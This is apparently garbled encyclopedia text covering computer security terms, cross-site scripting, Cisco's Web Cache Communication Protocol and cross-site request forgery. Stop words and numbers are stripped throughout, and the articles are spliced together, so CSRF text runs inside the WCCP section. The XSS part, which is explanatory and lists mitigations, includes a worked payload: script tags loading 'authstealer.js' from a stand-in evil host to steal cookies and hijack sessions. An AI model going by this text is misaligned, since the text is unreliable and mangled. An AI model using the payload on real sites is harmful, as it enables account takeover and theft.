Computer security | nearuniversal company local area networks internet also used internally impose traffic rules networks network segmentation configured.a hacker someone seeks breach defenses exploit weaknesses computer system network.honey pots computers intentionally left vulnerable attack crackers.used catch crackers identify techniques.intrusiondetection systems devices software applications monitor networks systems malicious activity policy violations.a microkernel approach operating system design nearminimum amount code running privileged level – runs elements operating system device drivers protocol stacks file systems safer less privileged user space.pinging.standard ping application used test ip address use.attackers may try port scan detect services exposed.a port scan used probe ip address open ports identify accessible network services applications.a key logger spyware silently captures stores keystroke user types computers keyboard.social engineering use deception manipulate individuals breach security.logic bombs type malware added legitimate program lies dormant triggered specific event.zero trust security means one trusted default inside outside network verification required everyone trying gain access resources network.notable scholars see also references reading jeremy bob yonah exidf cyber intel. |
Computer security | official reveals secrets behind cyber offense.jerusalem postbranch j. .whats name metaphors cybersecurity.international organization.costigan sean hennessy michael .cybersecurity generic reference curriculum pdf. |
Computer security | nato.isbn .fuller christopher j. roots united states’ cyber insecurity diplomatic history –.onlinekim peter .hacker playbook practical guide penetration testing.seattle createspace independent publishing platform. |
Computer security | isbn .lee newton .counterterrorism cybersecurity total information awareness nd ed.. springer.isbn .montagnani maria lillà cavallo mirta antonella july .cybersecurity liability big data world.ssrn.singer p. w. friedman allan . |
Computer security | cybersecurity cyberwar everyone needs know.oxford university press.isbn .wu chwanhwa john irwin j. david .introduction computer networks cybersecurity.boca raton crc press. |
Cross-site scripting | isbn .m.shariati et al.procedia computer science –.enterprise information security review architectures frameworks interoperability perspective external links computer security curliexss attacks enable attackers inject clientside scripts web pages viewed users.crosssite scripting vulnerability may used attackers bypass access controls sameorigin policy.crosssite scripting carried websites accounted roughly security vulnerabilities documented symantec .xss effects vary range petty nuisance significant security risk depending sensitivity data handled vulnerable site nature security mitigation implemented sites owner network.background security web depends variety mechanisms including underlying concept trust known sameorigin policy. |
Cross-site scripting | essentially states content one site httpsmybank.example.com granted permission access resources like cookies etc.web browser content url uri scheme host name port number share permissions.content urls three attributes different granted permissions separately.crosssite scripting attacks use known vulnerabilities webbased applications servers plugin systems rely.exploiting one attackers fold malicious content content delivered compromised site.resulting combined content arrives clientside web browser delivered trusted source thus operates permissions granted system. |
Cross-site scripting | finding ways injecting malicious scripts web pages attacker gain elevated accessprivileges sensitive page content session cookies variety information maintained browser behalf user.crosssite scripting attacks case code injection.microsoft securityengineers introduced term crosssite scripting january .expression crosssite scripting originally referred act loading attacked thirdparty web application unrelated attacksite manner executes fragment javascript prepared attacker security context targeted domain taking advantage reflected nonpersistent xss vulnerability.definition gradually expanded encompass modes code injection including persistent nonjavascript vectors including activex java vbscript flash even html scripts causing confusion newcomers field information security.xss vulnerabilities reported exploited since s. prominent sites affected past include socialnetworking sites twitter facebook.crosssite scripting flaws since surpassed buffer overflows become common publicly reported security vulnerability researchers estimating many websites likely open xss attacks. |
Cross-site scripting | types single standardized classification crosssite scripting flaws experts distinguish least two primary flavors xss flaws nonpersistent persistent.sources divide two groups traditional caused serverside code flaws dombased clientside code.nonpersistent reflected nonpersistent reflected crosssite scripting vulnerability far basic type web vulnerability.holes show data provided web client commonly http query parameters e.g.html form submission used immediately serverside scripts parse display page results user without properly sanitizing content.because html documents flat serial structure mixes control statements formatting actual content nonvalidated usersupplied data included resulting page without proper html encoding may lead markup injection. |
Cross-site scripting | classic example potential vector site search engine one searches string search string typically redisplayed verbatim result page indicate searched for.response properly escape reject html control characters crosssite scripting flaw ensue.a reflected attack typically delivered via email neutral web site.bait innocentlooking url pointing trusted site containing xss vector.trusted site vulnerable vector clicking link cause victims browser execute injected script.persistent stored persistent stored xss vulnerability devastating variant crosssite scripting flaw occurs data provided attacker saved server permanently displayed normal pages returned users course regular browsing without proper html escaping. |
Cross-site scripting | classic example online message boards users allowed post html formatted messages users read.for example suppose dating website members scan profiles members see look interesting.privacy reasons site hides everybodys real name email.kept secret server.time members real name email browser member signed cant see anyone elses.suppose mallory attacker joins site wants figure real names people sees site.writes script designed run users browsers visit profile. |
Cross-site scripting | script sends quick message server collects information.to question describe ideal first date mallory gives short answer appear normal text end answer script steal names emails.script enclosed inside script element wont shown screen.suppose bob member dating site reaches mallorys profile answer first date question.script run automatically browser steals copy bobs real name email directly machine.persistent xss vulnerabilities significant types attackers malicious script rendered automatically without need individually target victims lure thirdparty website.particularly case social networking sites code would designed selfpropagate across accounts creating type clientside worm.the methods injection vary great deal cases attacker may even need directly interact web functionality exploit hole. |
Cross-site scripting | data received web application via email system logs im etc.controlled attacker could become injection vector.serverside versus dombased vulnerabilities xss vulnerabilities originally found applications performed data processing server side.user input including xss vector would sent server sent back user web page.need improved user experience resulted popularity applications majority presentation logic maybe written javascript working clientside pulled data ondemand server using ajax.as javascript code also processing user input rendering web page content new subclass reflected xss attacks started appear called dombased crosssite scripting. |
Cross-site scripting | dombased xss attack malicious data touch web server.rather reflected javascript code fully client side.an example dombased xss vulnerability bug found number jquery plugins.prevention strategies dombased xss attacks include similar measures traditional xss prevention strategies implemented javascript code contained web pages i.e.input validation escaping.javascript frameworks builtin countermeasures types attack — example angularjs. |
Cross-site scripting | selfxss selfxss form xss vulnerability relies social engineering order trick victim executing malicious javascript code browser.although technically true xss vulnerability due fact relies socially engineering user executing code rather flaw affected website allowing attacker still poses risks regular xss vulnerability properly executed.mutated xss mxss mutated xss happens attacker injects something seemingly safe rewritten modified browser parsing markup.makes extremely hard detect sanitize within websites application logic.an example rebalancing unclosed quotation marks even adding quotation marks unquoted parameters parameters css fontfamily.exploit examples attackers intending exploit crosssite scripting vulnerabilities must approach class vulnerability differently. |
Cross-site scripting | class specific attack vector described here.names technical terms taken aliceandbob cast characters commonly used computer security.the browser exploitation framework could used attack web site users local environment.nonpersistent alice often visits particular website hosted bob.bobs website allows alice log usernamepassword pair stores sensitive data billing information.user logs browser keeps authorization cookie looks like random characters computers client server record shes logged in.mallory observes bobs website contains reflected xss vulnerabilitywhen visits search page inputs search term search box clicks submit button. |
Cross-site scripting | results found page display term searched followed words found url httpbobssite.orgsearchqhersearchterm.with normal search query like word puppies page simply displays puppies found url httpbobssite.orgsearchqpuppies perfectly normal behavior.however submits abnormal search query like scriptalertxssscriptan alert box appears says xss.the page displays found along error message text xss.the url httpbobssite.orgsearchqscriptalertxssscript exploitable behavior.mallory crafts url exploit vulnerabilityshe makes url httpbobssite.orgsearchqpuppiesscriptsrchttpmallorysevilsite.comauthstealer.jsscript.could choose encode ascii characters percentencoding httpbobssite.orgsearchqpuppiescscriptsrcdhttpaffmallorysevilsite.comfauthstealer.jsecfscripte human readers cannot immediately decipher malicious url.she sends email unsuspecting members bobs site saying check cute puppiesalice gets email.loves puppies clicks link.goes bobs website search doesnt find anything displays puppies found right middle script tag runs invisible screen loads runs mallorys program authstealer.js triggering xss attack.alice forgets it.the authstealer.js program runs alices browser originated bobs website. |
Cross-site scripting | grabs copy alices authorization cookie sends mallorys server mallory retrieves it.mallory puts alices authorization cookie browser own.goes bobs site logged alice.now shes mallory goes billing section website looks alices credit card number grabs copy.goes changes password alice cant log anymore.she decides take step sends similarly crafted link bob thus gaining administrator privileges bobs website.several things could done mitigate attackthe search input could sanitized would include proper encoding checking.the web server could set redirect invalid requests.the web server could detect simultaneous login invalidate sessions.the web server could detect simultaneous login two different ip addresses invalidate sessions.the website could display last digits previously used credit card.the website could require users enter passwords changing registration information.the website could enact various aspects content security policy.set cookie httponly flag prevent access javascript.persistent attack mallory gets account bobs website.mallory observes bobs website contains stored xss vulnerability one goes news section posts comment site display whatever entered.comment text contains html tags added webpages source particular script tags run page loaded.mallory reads article news section enters comment love puppies story theyre cutescript srchttpmallorysevilsite.comauthstealer.jswhen alice anyone else loads page comment mallorys script tag runs steals alices authorization cookie sending mallorys secret server collection.mallory hijack alices session impersonate alice.bobs website software stripped script tag done something make sure didnt work security bug consists fact didnt. |
Cross-site scripting | preventive measures contextual output encodingescaping string input contextual output encodingescaping could used primary defense mechanism stop xss attacks.several escaping schemes used depending untrusted string needs placed within html document including html entity encoding javascript escaping css escaping url percent encoding.web applications need accept rich data use escaping largely eliminate risk xss attacks fairly straightforward manner.although widely recommended performing html entity encoding five xml significant characters always sufficient prevent many forms xss attacks.encoding often difficult security encoding libraries usually easier use.some web template systems understand structure html produce automatically pick appropriate encoder.however even template system essential place untrusted data unquoted attributes hyperlinks hrefattributes inline dom event handlers similar contexts script execution directly possible. |
Cross-site scripting | safely validating untrusted html input many operators particular web applications e.g.forums webmail allow users utilize limited subset html markup.accepting html input users say bveryb large output encoding ltbgtveryltbgt large suffice since user input needs rendered html browser shows large instead bveryb large.stopping xss attack accepting html input users much complex situation.untrusted html input must run html sanitization engine ensure contain xss code.many validations rely parsing blacklisting specific risk html tags followingthere several issues approach example sometimes seemingly harmless tags left utilized correctly still result xsssee example another popular method strip user input however also bypassed payload concealed obfuscation see link extreme example cookie security besides content filtering imperfect methods crosssite scripting mitigation also commonly used. |
Cross-site scripting | one example use additional security controls handling cookiebased user authentication.many web applications rely session cookies authentication individual http requests clientside scripts generally access cookies simple xss exploits steal cookies.mitigate particular threat though xss problem general many web applications tie session cookies ip address user originally logged permit ip use cookie.effective situations attacker cookie obviously breaks situations attacker behind nated ip address web proxy victim victim changing mobile ip.another mitigation present internet explorer since version firefox since version ... safari since version opera since version .google chrome httponly flag allows web server set cookie unavailable clientside scripts. |
Cross-site scripting | beneficial feature neither fully prevent cookie theft prevent attacks within browser.disabling scripts web .ajax developers require use javascript web applications written allow operation without need clientside scripts.allows users choose disable scripting browsers using application.way even potentially malicious clientside scripts could inserted unescaped page users would susceptible xss attacks.some browsers browser plugins configured disable clientside scripts perdomain basis. |
Cross-site scripting | approach limited value scripting allowed default since blocks bad sites user knows bad late.functionality blocks scripting external inclusions default allows user enable perdomain basis effective.possible long time internet explorer since version setting called security zones opera since version using site specific preferences.solution firefox geckobased browsers open source noscript addon addition ability enable scripts perdomain basis provides xss protection even scripts enabled.the significant problem blocking scripts websites default substantial reduction functionality responsiveness clientside scripting much faster serverside scripting need connect remote server page frame need reloaded.another problem script blocking many users understand know properly secure browsers. |
Cross-site scripting | yet another drawback many sites work without clientside scripting forcing users disable protection site opening systems vulnerabilities.firefox noscript extension enables users allow scripts selectively given page disallowing others page.example scripts example.com could allowed scripts advertisingagency.com attempting run page could disallowed.selectively disabling scripts contentsecuritypolicy csp allows html documents opt disabling scripts leaving others enabled.browser checks script policy deciding whether run it. |
Cross-site scripting | long policy allows trustworthy scripts disallows dynamic code loading browser run programs untrusted authors regardless html documents structure.this shifts security burden policy authors.studies cast doubt efficacy host whitelist based policies.in total find .policies attempt limit script execution ineffective .hosts csp use policies offer benefit xss.modern csp policies allow using nonces mark scripts html document safe run instead keeping policy entirely separate page content.long trusted nonces appear trustworthy scripts browser run programs untrusted authors. |
Cross-site scripting | large application providers report successfully deployed noncebased policies.emerging defensive technologies popularity clientside frameworks changed attackers craft xss.script gadgets legitimate javascript fragments within application’s legitimate code base … demonstrate gadgets omnipresent almost modern javascript frameworks present empirical study showing prevalence script gadgets productive code.result assume mitigation techniques web applications written today bypassed.trusted types changes web apis check values trademarked trusted.long programs trademark trustworthy values attacker controls javascript string value cannot cause xss.trusted types designed auditable blue teams.another defense approach use automated tools remove xss malicious code web pages tools use static analysis andor pattern matching methods identify malicious codes potentially secure using methods like escaping. |
Cross-site scripting | samesite cookie parameter cookie set samesitestrict parameter stripped crossorigin requests.set samesitelax stripped nonsafe crossorigin requests requests get options trace readonly semantics.feature implemented google chrome since version firefox since version .related vulnerabilities universal crosssite scripting uxss universal xss attack vulnerabilities browser browser plugins exploited rather vulnerabilities websites case xss attacks.several classes vulnerabilities attack techniques related xss crosszone scripting exploits zone concepts certain browsers usually executes code greater privilege.http header injection used create crosssite scripting conditions due escaping problems http protocol level addition enabling attacks http response splitting.crosssite request forgery csrfxsrf almost opposite xss rather exploiting users trust site attacker malicious page exploits sites trust client software submitting requests site believes represent conscious intentional actions authenticated users. |
Cross-site scripting | xss vulnerabilities even applications running domain allow attackers bypass csrf prevention efforts.covert redirection takes advantage thirdparty clients susceptible xss open redirect attacks.normal phishing attempts easy spot malicious pages url usually couple letters real site.difference covert redirection attacker could use real website instead corrupting site malicious login popup dialogue box.lastly sql injection exploits vulnerability database layer application.user input incorrectly filtered sql statements executed application.the specific xsss affect given version web browser tend unique.consequently possible use xss fingerprint browser vendor version user. |
Cross-site scripting | see also web application securityinternet securityxml external entitybrowser securitymetasploit project opensource penetration testing tool includes tests xsswaf opensource web application security scannerdompurify free open source code library cure reduce susceptibility xss vulnerabilities websites.crossdocument messagingsamy computer wormparameter validation references reading mackenzie thomas.scriptalert.com – concise crosssite scripting explanation multiple languages.retrieved october .preventing xss asp.net made easy.lock security everyday developer.february . |
Cross-site scripting | retrieved october .cross site scripting.web application security consortium.october .retrieved october .external links owasp xss testing xss reviewing code xssxssed database websites vulnerable crosssite scripting attacks |
Web Cache Communication Protocol | builtin load balancing scaling fault tolerance serviceassurance failsafe mechanisms.cisco ios release .later releases allow use either version wccpv version wccpv protocol.wccp allows utilization cisco cache engines caches running wccp localize web traffic patterns network enabling content requests fulfilled locally.traffic localization reduces transmission costs download time.protocol versions wccpvonly single router services cluster systemssupports http tcp port traffic flows onlyprovides generic routing encapsulation gre prevent packet modificationrouters cache engines communicate via control channel based udp port wccpvallows use across routers wccp serverssupports enginesaccelerators wccp clientssupports ip protocol including tcp udpsupports service groups adds md shared secret security primary wccp functions registration accelerator engine wccp clientregisters wccp services “here am” application operationalregistration announces wccp client service group provides availability notification requests interesting traffictransmits “here am” every secondslead wccp client lowest ip address instructs routers protocolport assignment forwarding return methodsrouter wccp serveraccepts service group registration acknowledges “here am” “i see you”waits x seconds declaring engine failedannounce engines enginesrouter id highest interface ip highest loopback ip one existsredirects traffic engine assignment selects engine clusterhash bucketsmask buckets represented bit mask source destination ipport redirect router cache engine redirect list allows router permitdeny traffic intercepttwo methods redirectionwccp l local subnet little overhead. |
Web Cache Communication Protocol | rewrites packet mac address local enginewccp gre ipsubnet overhead.creates tunnel router local remote engine.return cache engine router wccp gre return.wccp l return.engine optionally return traffic way including routing.products implement wccp whilst originally designed ciscos content cache appliance since added support products includingasr routers application content networking system acnswide area application services waasasapix firewallssome ios versionsironport sseries web security appliancenexus switchesother vendors also implemented wccp support products allows clustering transparent deployment networks using cisco routersswitches without additional hardware.wccp particular use vendors web cacheproxysecurity appliances redirection web traffic. |
Cross-site request forgery | please note vendors follow standards implementing wccp could result intercompatibility problems.a list includes references external links ciscosection wccp network caching cisco docwiki formerly known internetworking technology handbooksection configuring web cache services using wccp cisco ios configuration fundamentals configuration guide release .section wccpv wccp enhancements feature guide cisco ios software releases .sconfigure wccp cisco ios router techrepublicweb cache communication protocol v revision ietf web sitehow set wccp barracuda web filter barracuda networks knowledgebasemany ways malicious website transmit commands speciallycrafted image tags hidden forms javascript xmlhttprequests example work without users interaction even knowledge.unlike crosssite scripting xss exploits trust user particular site csrf exploits trust site users browser.unlike crosssite scripting xss exploits trust user particular site csrf exploits trust site users browserin csrf attack innocent end user tricked attacker submitting web request intend.may cause actions performed website include inadvertent client server data leakage change session state manipulation end users account.the term csrf also used abbreviation defences csrf attacks techniques use header data form data cookies test prevent attacks.characteristics csrf attack attackers goal cause innocent victim unknowingly submit maliciously crafted web request website victim privileged access to.web request crafted include url parameters cookies data appear normal web server processing request. |
Cross-site request forgery | risk web applications perform actions based input trusted authenticated users without requiring user authorize specific action.user authenticated cookie saved users web browser could unknowingly send http request site trusts user thereby cause unwanted action.a general property web browsers automatically invisibly include cookies used given domain web request sent domain.property exploited csrf attacks web request made browser automatically include cookies including session cookies others created victim logs website.event user tricked inadvertently submitting request browser automatically included cookies cause forged request appear real web server perform appropriately requested actions including returning data manipulating session state making changes victims account.in order csrf attack work attacker must identify reproducible web request executes specific action changing account password target page.request identified link created generates malicious request link embedded page within attackers control. |
Cross-site request forgery | link may placed way even necessary victim click link.example may embedded within html image tag email sent victim automatically loaded victim opens email.victim clicked link browser automatically include cookies used website submit request web server.web server able identify forgery request made user logged submitted requisite cookies.crosssite request forgery example confused deputy attack web browser web browser tricked submitting forged request less privileged attacker.csrf commonly following characteristicsit involves sites rely users identity.it exploits sites trust identity.it tricks users browser sending http requests target site.it involves http requests side effects.history csrf vulnerabilities known cases exploited since . |
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